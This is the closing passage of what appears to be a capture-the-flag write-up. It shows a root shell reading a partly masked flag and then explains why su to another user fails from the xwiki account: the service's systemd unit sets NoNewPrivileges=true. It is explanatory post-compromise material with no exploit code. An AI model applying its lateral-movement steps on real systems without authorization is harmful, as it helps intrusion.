0xdf-5.1# cat /root/root.txt
2a94789d************************
Beyond Root
Despite having the correct password for the oliver user, xwiki is not able to su to that user:
xwiki@editor:$ su - oliver
Password:
su: Authentication failure
The password is good, so why is this happening? It turns out it has to do with how the XWiki service is started. XWiki runs as a service, which is configured in /lib/systemd/system/xwiki.service. Typically I think of services being defined /etc/systemd/system, but there are actually many paths that are checked for services to run by systemd. This file sets the binary that runs, when to run it, as well as other options:
#
# Systemd unit file for XWiki
#
[Unit]
Description=XWiki Jetty Application Server
Documentation=https://www.xwiki.org
After=network.target
RequiresMountsFor=/var/lib/xwiki/data
[Service]
WorkingDirectory=/var/lib/xwiki/
# Lifecycle
Type=simple
ExecStart=/bin/bash /usr/lib/xwiki-jetty/start_xwiki.sh
ExecStop=/bin/bash /usr/lib/xwiki-jetty/stop_xwiki.sh
Restart=on-abort
# Logging
SyslogIdentifier=xwiki
# Security
User=xwiki
Group=xwiki
PrivateTmp=yes
NoNewPrivileges=true
ProtectSystem=strict
ReadOnlyPaths=/etc/xwiki
ReadWritePaths=/var/lib/xwiki/data/
ReadWritePaths=/var/log/xwiki/
[Install]
WantedBy=multi-user.target
The important line here is NoNewPrivileges=true. With this option set:
execve()promises not to grant the privilege to do anything that could not have been done without the execve call.
So the problem isn’t with the password. It’s that when su is called, even though su is running with the SetUID bit enabled, that privilege isn’t actually gained. So when it tries to run as another user, without root privs, it can’t, and fails.





